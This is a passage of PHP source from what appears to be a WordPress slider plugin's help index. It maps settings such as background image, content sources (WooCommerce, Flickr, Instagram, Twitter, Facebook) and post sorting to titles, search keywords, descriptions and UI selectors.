"#sr_size_width_m") ), 'height' => array( $t => __("Tablet Height", 'revsliderhelp'), $h => "size.height.m", $k => array("respon", "responsive", "slider size", "slider height", "iphone", "iphone height", "phone", "phone height", "smart", "smartphone", "smartphone height", "smart phone", "smart phone height", "viewport", "view", "grid", "grid height", "grid size"), $d => __("The responsive grid height (in pixels) for the Tablet viewport", 'revsliderhelp'), $a => $u . "module-layout/#breakpoints", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_height_m") ) ) ), 'module_background' => array( 'image' => array( 'enable' => array( $di => "slider_layout_bg_useimage", $t => __("Use Image", 'revsliderhelp'), $h => "layout.bg.useImage", $k => array("image", "images", "background", "bg", "bg image", "background image", "image background"), $d => __("Set a global background image for the Slider", 'revsliderhelp'), $a => $u . "module-layout/#module-background", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decmobg', $f => "#sr_usebgimage") ), 'url' => array( $t => __("Image URL", 'revsliderhelp'), $h => "layout.bg.image", $k => array("image", "images", "background", "bg", "bg image", "background image", "url", "image background"), $d => __("Enter an image url or select/upload an image from the Media or Object Library to be used as the Slider's global background image", 'revsliderhelp'), $a => $u . "module-layout/#module-background", $hl => array( $dp => array(array($p => 'settings.layout.bg.useImage', $v => true, $o => 'slider_layout_bg_useimage')), $m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decmobg', $f => "#sr_bgimage" ) ), 'position' => array( $t => __("BG Position", 'revsliderhelp'), $h => "layout.bg.position", $k => array("image", "images", "background", "bg", "bg image", "background position"), $d => __("The CSS background-position for the Slider's global background image", 'revsliderhelp'), $a => $u . "module-layout/#module-background", $hl => array( $dp => array(array($p => 'settings.layout.bg.useImage', $v => true, $o => 'slider_layout_bg_useimage')), $m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decmobg', $f => "#sliderm_bg_position_center-center" ) ), 'fit' => array( $t => __("Image Fit", 'revsliderhelp'), $h => "layout.bg.fit", $k => array("background size", "fit", "image fit", "cover", "contain"), $d => __("The css background-size value for the Slider's global background image", 'revsliderhelp'), $a => $u . "module-layout/#module-background", $hl => array( $dp => array(array($p => 'settings.layout.bg.useImage', $v => true, $o => 'slider_layout_bg_useimage')), $m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decmobg', $f => "#sr_bgimage_fit" ) ), 'repeat' => array( $t => __("BG Repeat", 'revsliderhelp'), $h => "layout.bg.repeat", $k => array("background repeat", "repeat"), $d => __("The css background-repeat value for the Slider's global background image", 'revsliderhelp'), $a => $u . "module-layout/#module-background", $hl => array( $dp => array(array($p => 'settings.layout.bg.useImage', $v => true, $o => 'slider_layout_bg_useimage')), $m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decmobg', $f => "#sr_bgimage_repeat" ) ) ), 'bg_color' => array( $t => __("Module BG Color", 'revsliderhelp'), $h => "layout.bg.color", $k => array("bg", "background", "background color", "global background", "global background color", "slider background", "slider bg"), $d => __("Set a global background color for the Slider", 'revsliderhelp'), $a => $u . "module-layout/#module-background", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decmobg', $f => "#sliderbgcolor") ) ), 'border_overlay_shadow' => array( 'overlay' => array( $t => __("Overlay", 'revsliderhelp'), $h => "layout.bg.dottedOverlay", $k => array("overlay", "dotted", "dotted overlay"), $d => __("Add an mesh-style overlay to the Slider", 'revsliderhelp'), $a => $u . "module-layout/#border-overlay-shadow", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decboovsh', $f => "#sr_overlay") ), 'shadow' => array( $t => __("Shadow", 'revsliderhelp'), $h => "layout.bg.shadow", $k => array("shadow", "box-shadow", "slider shadow"), $d => __("Choose an optional shadow to add to the Slider", 'revsliderhelp'), $a => $u . "module-layout/#border-overlay-shadow", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decboovsh', $f => "#sr_shadow") ), 'border' => array( $t => __("Gap (Border)", 'revsliderhelp'), $h => "layout.bg.padding", $k => array("border", "padding"), $d => __("Add extra spacing around the Slider", 'revsliderhelp'), $a => $u . "module-layout/#border-overlay-shadow", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decboovsh', $f => "#sr_layout_padding") ) ) ), 'gst_sl_4' => array( 'source' => array( 'custom' => array( $t => __("Custom Content", 'revsliderhelp'), $h => "sourcetype.gallery", $k => array("gallery", "source", "custom"), $d => __("Add your own custom text/images/video to the Slider", 'revsliderhelp'), $a => $u . "module-content/", $hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='gallery']") ), 'post' => array( $di => "slider_sourcetype_post", $t => __("Post Based", 'revsliderhelp'), $h => "sourcetype.post", $k => array("post", "post based", "source"), $d => __("Populate the Slider with your WordPress post content", 'revsliderhelp'), $a => $u . "post-based-sliders/", $hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='post']") ), 'woocommerce' => array( $di => "slider_sourcetype_woo", $t => __("WooCommerce", 'revsliderhelp'), $h => "sourcetype.woo", $k => array("post", "woo", "woocommerce", "woo commerce", "source", "product", "products", "woocommerce products"), $d => __("Populate the Slider with your WooCommerce Products", 'revsliderhelp'), $a => $u . "module-content/#woocommerce", $hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='woo']") ), 'flickr' => array( $di => "slider_sourcetype_flickr", $t => __("Flickr", 'revsliderhelp'), $h => "sourcetype.flickr", $k => array("source", "flickr", "gallery", "stream"), $d => __("Populate the Slider with your Flickr Content", 'revsliderhelp'), $a => $u . "module-content/#flickr", $hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='flickr']") ), 'instagram' => array( $di => "slider_sourcetype_instagram", $t => __("Instagram", 'revsliderhelp'), $h => "sourcetype.instagram", $k => array("source", "instagram", "gallery", "stream"), $d => __("Populate the Slider with Instagram Images", 'revsliderhelp'), $a => $u . "module-content/#instagram", $hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='instagram']") ), 'twitter' => array( $di => "slider_sourcetype_twitter", $t => __("Twitter", 'revsliderhelp'), $h => "sourcetype.twitter", $k => array("twitter", "source", "tweet", "stream"), $d => __("Populate the Slider from a Twitter account", 'revsliderhelp'), $a => $u . "module-content/#twitter", $hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='twitter']") ), 'facebook' => array( $di => "slider_sourcetype_facebook", $t => __("Facebook", 'revsliderhelp'), $h => "sourcetype.facebook", $k => array("source", "facebook", "face", "stream"), $d => __("Populate the Slider from a Facebook album or timeline", 'revsliderhelp'), $a => $u . "module-content/#facebook", $hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='facebook']") ), 'youtube' => array( $di => "slider_sourcetype_youtube", $t => __("YouTube", 'revsliderhelp'), $h => "sourcetype.youtube", $k => array("video", "youtube", "you tube", "source", "stream"), $d => __("Populate the Slider with a YouTube Channel or Playlist", 'revsliderhelp'), $a => $u . "module-content/#youtube", $hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='youtube']") ), 'vimeo' => array( $di => "slider_sourcetype_vimeo", $t => __("Vimeo", 'revsliderhelp'), $h => "sourcetype.vimeo", $k => array("video", "vimeo", "stream"), $d => __("Populate the Slider with a Vimeo account's content", 'revsliderhelp'), $a => $u . "module-content/#vimeo", $hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='vimeo']") ) ), 'post_options' => array( 'type' => array( $di => "settings_source_post_subtype", $t => __("Post Options Type", 'revsliderhelp'), $h => "source.post.subType", $k => array("post", "posts", "post-based", "post type", "specific post", "current post"), $d => __("Choose 'Post' to pull in a range of posts, 'Specific Post' to pull in posts by ID, or 'Current Post' to populate the Slider with the current post's content", 'revsliderhelp'), $a => $u . "post-based-sliders/", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'post', $o => 'slider_sourcetype_post')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slidersourcesubtype']*wildcard*" ) ), 'fetch_by' => array( $t => __("Fetch By", 'revsliderhelp'), $h => "source.post.fetchType", $k => array("post", "posts", "categories", "tags", "related", "popular", "recent"), $d => __("Choose which type of posts should be pulled into the Slider", 'revsliderhelp'), $a => $u . "post-based-sliders/", $hl => array( $dp => array( array($p => 'settings.sourcetype', $v => 'post', $o => 'slider_sourcetype_post'), array($p => 'settings.source.post.subType', $v => 'post', $o => 'settings_source_post_subtype', 'target' => 'post') ), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_post_selection', $f => "#post_fetch_type" ) ), 'post_types' => array( $t => __("Post Types", 'revsliderhelp'), $h => "source.post.types", $k => array("woo", "post", "posts", "post types", "custom post type", "custom post types"), $d => __("Choose which Post Types to include in the Slider", 'revsliderhelp'), $a => $u . "post-based-sliders/", $hl => array( $dp => array( array($p => 'settings.sourcetype', $v => 'post::woo', $o => 'slider_sourcetype_post'), array('dependency' => 'post', $p => 'settings.source.post.subType', $v => 'post', $o => 'settings_source_post_subtype', 'target' => 'post') ), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_post_selection, #form_slider_content_woo_tandc', $f => "#post_types, #woo_types" ) ), 'categories' => array( $t => __("Post Categories", 'revsliderhelp'), $h => "source.post.category", $k => array("woo", "post", "posts", "categories", "post categories", "tags"), $d => __("Choose which Post Categories to include in the Slider", 'revsliderhelp'), $a => $u . "post-based-sliders/", $hl => array( $dp => array( array($p => 'settings.sourcetype', $v => 'post::woo', $o => 'slider_sourcetype_post'), array('dependency' => 'post', $p => 'settings.source.post.subType', $v => 'post', $o => 'settings_source_post_subtype', 'target' => 'post') ), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_post_selection, #form_slider_content_woo_tandc', $f => "#post_category, #woo_category" ) ), 'specific_posts' => array( $t => __("Specific Posts", 'revsliderhelp'), $h => "source.post.list", $k => array("post", "posts", "specific posts", "specific", "post id", "post ids"), $d => __("Enter a list of Post ID's to include in the Slider, or select 'Popular/Recent' to populate the list automatically", 'revsliderhelp'), $a => $u . "post-based-sliders/", $hl => array( $dp => array( array($p => 'settings.sourcetype', $v => 'post', $o => 'slider_sourcetype_post'), array($p => 'settings.source.post.subType', $v => 'specific_post', $o => 'settings_source_post_subtype', 'target' => 'specific_post') ), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_post_selection', $f => "#sr_source_post_list" ) ), 'post_sorting_and_settings' => array( 'sort_by' => array( $t => __("Sort Posts By", 'revsliderhelp'), $h => "source.post.sortBy", $k => array("post", "posts", "sort", "sorting", "post sorting", ""), $d => __("Choose the order in which the posts should appear in the Slider", 'revsliderhelp'), $a => $u . "module-content/#post-based", $hl => array( $dp => array( array($p => 'settings.sourcetype', $v => 'post::woo', $o => 'slider_sourcetype_post'), array('dependency' => 'post', $p => 'settings.source.post.subType', $v => 'post::specific_post', $o => 'settings_source_post_subtype', 'target' => 'post') ), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_post_sort, #form_slider_content_woo_sort', $f => "#post_sortby, #woo_sortby" ) ), 'sort_direction' => array( $t => __("Sort Direction", 'revsliderhelp'), $h => "source.post.sortDirection", $k => array("post", "posts", "sort", "sorting", "post sorting", "sort direction"), $d => __("Sort the posts in ascending or descending order", 'revsliderhelp'), $a => $u . "module-content/#post-based", $hl => array( $dp => array( array($p => 'settings.sourcetype', $v => 'post::woo', $o => 'slider_sourcetype_post'), array('dependency' => 'post', $p => 'settings.source.post.subType', $v => 'post::specific_post', $o => 'settings_source_post_subtype', 'target' => 'post') ), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_post_sort, #form_slider_content_woo_sort', $f => "*[name='slidersourcesortDirection'][value='DESC'], *[name='slidersourcesortwooDirection'][value='DESC']" ) ), 'max_posts' => array( $t => __("Max Posts", 'revsliderhelp'), $h => "source.post.maxPosts", $k => array("post", "posts", "max posts", "max number", "max"), $d => __("Choose the maximum number of Posts that should be included in the Slider", 'revsliderhelp'), $a => $u . "module-content/#post-based", $hl => array( $dp => array( array($p => 'settings.sourcetype', $v => 'post::woo', $o => 'slider_sourcetype_post'), array('dependency' => 'post', $p => 'settings.source.post.subType', $v => 'post::specific_post', $o => 'settings_source_post_subtype', 'target' => 'post') ), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_post_sort, #form_slider_content_woo_sort', $f => "#sr_source_post_maxposts, #sr_source_woo_maxposts" ) ), 'excerpt_limit' => array( $t => __("Limit Excerpt", 'revsliderhelp'), $h => "source.post.excerptLimit", $k => array("post", "posts", "excerpt", "post excerpt", "limit excerpt"), $d => __("Se a character limit if the post's excerpt is included in the Slide", 'revsliderhelp'), $a => $u . "module-content/#post-based", $hl => array( $dp => array( array($p => 'settings.sourcetype', $v => 'post::woo', $o => 'slider_sourcetype_post'), array('dependency' => 'post', $p => 'settings.source.post.subType', $v => 'post::specific_post', $o => 'settings_source_post_subtype', 'target' => 'post') ), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_post_sort, #form_slider_content_woo_sort', $f => "#sr_source_post_limitexc, #sr_source_woo_limitexc" ) ) ) ), 'woocommerce_filters' => array( 'regular_price_from' => array( $t => __("Reg. Price From", 'revsliderhelp'), $h => "source.woo.regPriceFrom", $k => array("woo", "woocommerce", "woo commerce", "filters", "price", "regular price", "product", "products"), $d => __("Pull in products with this minimum price", 'revsliderhelp'), $a => $u . "module-content/#woocommerce", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'woo', $o => 'slider_sourcetype_woo')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_woo_filters', $f => "#sr_source_woo_regPriceFrom" ) ), 'regular_price_to' => array( $t => __("Reg. Price To", 'revsliderhelp'), $h => "source.woo.regPriceTo", $k => array("woo", "woocommerce", "woo commerce", "filters", "price", "regular price", "product", "products"), $d => __("Pull in products with a regular price equal to or below this number", 'revsliderhelp'), $a => $u . "module-content/#woocommerce", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'woo', $o => 'slider_sourcetype_woo')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_woo_filters', $f => "#sr_source_woo_regPriceTo" ) ), 'sale_price_from' => array( $t => __("Sale Price From", 'revsliderhelp'), $h => "source.woo.salePriceFrom", $k => array("woo", "woocommerce", "woo commerce", "filters", "sale", "price", "sale price", "product", "products"), $d => __("Pull in products with this minimum sale price", 'revsliderhelp'), $a => $u . "module-content/#woocommerce", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'woo', $o => 'slider_sourcetype_woo')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_woo_filters', $f => "#sr_source_woo_salePriceFrom" ) ), 'sale_price_to' => array( $t => __("Sale Price To", 'revsliderhelp'), $h => "source.woo.salePriceTo", $k => array("woo", "woocommerce", "woo commerce", "filters", "sale", "price", "sale price", "product", "products"), $d => __("Pull in products with a sale price equal to or below this number", 'revsliderhelp'), $a => $u . "module-content/#woocommerce", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'woo', $o => 'slider_sourcetype_woo')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_woo_filters', $f => "#sr_source_woo_salePriceTo" ) ), 'in_stock_only' => array( $t => __("In Stock Only", 'revsliderhelp'), $h => "source.woo.inStockOnly", $k => array("woo", "woocommerce", "woo commerce", "in stock", "in stock only"), $d => __("Only pull in products that are marked as 'In Stock'", 'revsliderhelp'), $a => $u . "module-content/#woocommerce", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'woo', $o => 'slider_sourcetype_woo')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_woo_filters', $f => "#sr_woo_stock" ) ), 'featured_only' => array( $t => __("Featured Only", 'revsliderhelp'), $h => "source.woo.featuredOnly", $k => array("woo", "woocommerce", "woo commerce", "featured", "featured products"), $d => __("Only pull in products that are marked as 'Featured'", 'revsliderhelp'), $a => $u . "module-content/#woocommerce", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'woo', $o => 'slider_sourcetype_woo')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_woo_filters', $f => "#sr_woo_feat" ) ) ), 'flickr_settings' => array( 'num_slides' => array( $t => __("Total Slides", 'revsliderhelp'), $h => "source.flickr.count", $k => array("flickr", "gallery"), $d => __("Choose how many Slides should be created from the Flickr source", 'revsliderhelp'), $a => $u . "module-content/#flickr", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_flickr', $f => "#sr_source_flickr_count" ) ), 'cache' => array( $t => __("API Cache", 'revsliderhelp'), $h => "source.flickr.transient", $k => array("flickr", "gallery", "cache"), $d => __("Cache the Flickr API results for faster loading", 'revsliderhelp'), $a => $u . "module-content/#flickr", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_flickr', $f => "#sr_source_flickr_transient" ) ), 'api_key' => array( $t => __("API Key", 'revsliderhelp'), $h => "source.flickr.apiKey", $k => array("flickr", "gallery", "api", "api key"), $d => __("Enter your Flickr API key. Learn more", 'revsliderhelp'), $a => $u . "module-content/#flickr", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_flickr', $f => "#sr_source_flickr_apikey" ) ), 'source' => array( $di => 'slilder_source_flickr_type', $t => __("API Source", 'revsliderhelp'), $h => "source.flickr.type", $k => array("source", "flickr", "gallery", "api", "api source", "flickr source"), $d => __("Choose which type of Flickr content should be pulled into the Slider", 'revsliderhelp'), $a => $u . "module-content/#flickr", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_flickr', $f => "#flickr-type" ) ), 'user_url' => array( $t => __("User URL", 'revsliderhelp'), $h => "source.flickr.userURL", $k => array("flickr", "gallery", "api", "user url"), $d => __("Enter your Flickr user URL for the API query", 'revsliderhelp'), $a => $u . "module-content/#flickr", $hl => array( $dp => array( array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr'), array($p => 'settings.source.flickr.type', $v => 'publicphotos::photosets', $o => 'slilder_source_flickr_type'), ), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_flickr', $f => "*[name='sr_src_flick_userurl']" ) ), 'photoset' => array( $t => __("Album", 'revsliderhelp'), $h => "source.flickr.photoSet", $k => array("flickr", "photoset", "album", "flickr album", "flickr photoset", "flickr photos"), $d => __("Select the photo album you wish to include from the Flickr account", 'revsliderhelp'), $a => $u . "module-content/#flickr", $hl => array( $dp => array( array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr'), array($p => 'settings.source.flickr.type', $v => 'photosets', $o => 'slilder_source_flickr_type'), ), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_flickr', $f => "#sr_src_flickr_photoset" ) ), 'gallery_url' => array( $t => __("Gallery URL", 'revsliderhelp'), $h => "source.flickr.galleryURL", $k => array("flickr", "gallery", "gallery url", "flickr gallery url"), $d => __("Enter the absolute URL of the flickr gallery you wish to include", 'revsliderhelp'), $a => $u . "module-content/#flickr", $hl => array( $dp => array( array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr'), array($p => 'settings.source.flickr.type', $v => 'gallery', $o => 'slilder_source_flickr_type'), ), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_flickr', $f => "*[name='sr_src_flick_galleryurl']" ) ), 'group_url' => array( $t => __("Group URL", 'revsliderhelp'), $h => "source.flickr.groupURL", $k => array("flickr", "flickr group", "group", "group url", "flickr group url"), $d => __("Enter the absolute URL of the flickr group irl you wish to include", 'revsliderhelp'), $a => $u . "module-content/#flickr", $hl => array( $dp => array( array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr'), array($p => 'settings.source.flickr.type', $v => 'group', $o => 'slilder_source_flickr_type'), ), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_flickr', $f => "*[name='sr_src_flick_groupyurl']" ) ) ), 'instagram_settings' => array( 'num_slides' => array( $t => __("Total Slides", 'revsliderhelp'), $h => "source.instagram.count", $k => array("instagram", "gallery"), $d => __("Choose how many Slides should be created from the Instagram source", 'revsliderhelp'), $a => $u . "module-content/#instagram", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'instagram', $o => 'slider_sourcetype_instagram')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_insta', $f => "#sr_source_instagram_count" ) ), 'cache' => array( $t => __("API Cache", 'revsliderhelp'), $h => "source.instagram.transient", $k => array("instagram", "gallery", "cache"), $d => __("Cache the Instagram API results for faster loading", 'revsliderhelp'), $a => $u . "module-content/#instagram", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'instagram', $o => 'slider_sourcetype_instagram')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_insta', $f => "#sr_source_instagram_transient" ) ), 'source' => array( $t => __("API Source", 'revsliderhelp'), $h => "source.instagram.type", $k => array("source", "instagram", "gallery", "api", "api source", "instagram source"), $d => __("Choose which type of Instagram content should be pulled into the Slider", 'revsliderhelp'), $a => $u . "module-content/#instagram", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'instagram', $o => 'slider_sourcetype_instagram')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_insta', $f => "#instagram-type" ) ), 'user_name' => array( $t => __("User Name", 'revsliderhelp'), $h => "source.instagram.userId", $k => array("instagram", "gallery", "api", "username", "user name"), $d => __("Enter your Instagram User Name for the API query", 'revsliderhelp'), $a => $u . "module-content/#instagram", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'instagram', $o => 'slider_sourcetype_instagram')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_insta', $f => "*[name='sr_src_instagram_userid']" ) ) ), 'twitter_settings' => array( 'num_slides' => array( $t => __("Total Slides", 'revsliderhelp'), $h => "source.twitter.count", $k => array("twitter"), $d => __("Choose how many Slides should be created from the Twitter source", 'revsliderhelp'), $a => $u . "module-content/#twitter", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_twitter', $f => "#sr_source_twitter_count" ) ), 'cache' => array( $t => __("API Cache", 'revsliderhelp'), $h => "source.twitter.transient", $k => array("twitter", "gallery", "cache"), $d => __("Cache the Twitter API results for faster loading", 'revsliderhelp'), $a => $u . "module-content/#twitter", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_twitter', $f => "#sr_source_twitter_transient" ) ), 'user_name' => array( $t => __("User Handle", 'revsliderhelp'), $h => "source.twitter.userId", $k => array("twitter", "api", "userid", "user id"), $d => __("Enter your Twitter User Name/Handle for the API query", 'revsliderhelp'), $a => $u . "module-content/#twitter", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_twitter', $f => "*[name='sr_src_twitter_userid']" ) ), 'text_tweets' => array( $t => __("Text Tweets", 'revsliderhelp'), $h => "source.twitter.imageOnly", $k => array("twitter", "tweets", "text tweets"), $d => __("Include text-only Tweets (tweets that do not contain an image)", 'revsliderhelp'), $a => $u . "module-content/#twitter", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_twitter', $f => "#sr_src_twitter_imageonly" ) ), 'retweets' => array( $t => __("Re-Tweets", 'revsliderhelp'), $h => "source.twitter.includeRetweets", $k => array("twitter", "tweets", "retweets", "re-tweets"), $d => __("Include both tweets and re-tweets in the Slider", 'revsliderhelp'), $a => $u . "module-content/#twitter", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_twitter', $f => "#sr_src_twitter_includeretweets" ) ), 'replies' => array( $t => __("Replies", 'revsliderhelp'), $h => "source.twitter.excludeReplies", $k => array("twitter", "tweets", "replies"), $d => __("Include both tweets and replies in the Slider", 'revsliderhelp'), $a => $u . "module-content/#twitter", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_twitter', $f => "#sr_src_twitter_excludereplies" ) ), 'consumer_key' => array( $t => __("Consumer Key", 'revsliderhelp'), $h => "source.twitter.consumerKey", $k => array("twitter", "api key", "consumer", "consumer key"), $d => __("Your Twitter App's Consumer Key", 'revsliderhelp'), $a => $u . "module-content/#twitter", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_twitter', $f => "*[name='sr_src_twitter_consumerKey']" ) ), 'consumer_secret' => array( $t => __("Consumer Secret", 'revsliderhelp'), $h => "source.twitter.consumerSecret", $k => array("twitter", "api key", "consumer", "consumer secret", "secret"), $d => __("Your Twitter App's Consumer Secret", 'revsliderhelp'), $a => $u . "module-content/#twitter", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_twitter', $f => "*[name='sr_src_twitter_consumerSecret']" ) ), 'access_token' => array( $t => __("Access Token", 'revsliderhelp'), $h => "source.twitter.accessToken", $k => array("twitter", "api key", "access token", "token"), $d => __("Your Twitter App's Access Token", 'revsliderhelp'), $a => $u . "module-content/#twitter", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_twitter', $f => "*[name='sr_src_twitter_accessToken']" ) ), 'access_secret' => array( $t => __("Access Secret", 'revsliderhelp'), $h => "source.twitter.accessSecret", $k => array("twitter", "api key", "access secret. secret"), $d => __("Your Twitter App's Access Secret", 'revsliderhelp'), $a => $u . "module-content/#twitter", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_twitter', $f => "*[name='sr_src_twitter_accessSecret']" ) ) ), 'facebook_settings' => array( 'num_slides' => array( $t => __("Total Slides", 'revsliderhelp'), $h => "source.facebook.count", $k => array("facebook"), $d => __("Choose how many Slides should be created from the Facebook source", 'revsliderhelp'), $a => $u . "module-content/#facebook", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'facebook', $o => 'slider_sourcetype_facebook')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_facebook', $f => "#sr_source_facebook_count" ) ), 'cache' => array( $t => __("API Cache", 'revsliderhelp'), $h => "source.facebook.transient", $k => array("facebook", "gallery", "cache"), $d => __("Cache the Facebook API results for faster loading", 'revsliderhelp'), $a => $u . "module-content/#facebook", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'facebook', $o => 'slider_sourcetype_facebook')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_facebook', $f => "#sr_source_facebook_transient" ) ), 'source' => array( $di => "slider_source_facebook_typesource", $t => __("Source", 'revsliderhelp'), $h => "source.facebook.typeSource", $k => array("source", "facebook", "facebook source"), $d => __("Choose which type of Facebook content should be pulled into the Slider", 'revsliderhelp'), $a => $u . "module-content/#facebook", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'facebook', $o => 'slider_sourcetype_facebook')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_facebook', $f => "#facebook-typesource" ) ), 'album' => array( $t => __("Album", 'revsliderhelp'), $h => "source.facebook.album", $k => array("source", "facebook", "facebook album"), $d => __("Choose the Facebook Album to be pulled into the Slider", 'revsliderhelp'), $a => $u . "module-content/#facebook", $hl => array( $dp => array( array($p => 'settings.sourcetype', $v => 'facebook', $o => 'slider_sourcetype_facebook'), array($p => 'settings.source.facebook.typeSource', $v => 'album', $o => 'slider_source_facebook_typesource') ), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_facebook', $f => "#sr_src_facebok_album" ) ), 'app_id' => array( $t => __("Access Token", 'revsliderhelp'), $h => "source.facebook.appId", $k => array("facebook", "app id"), $d => __("Generate a Facebook Access Token with the needed permissions", 'revsliderhelp'), $a => $u . "module-content/#facebook", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 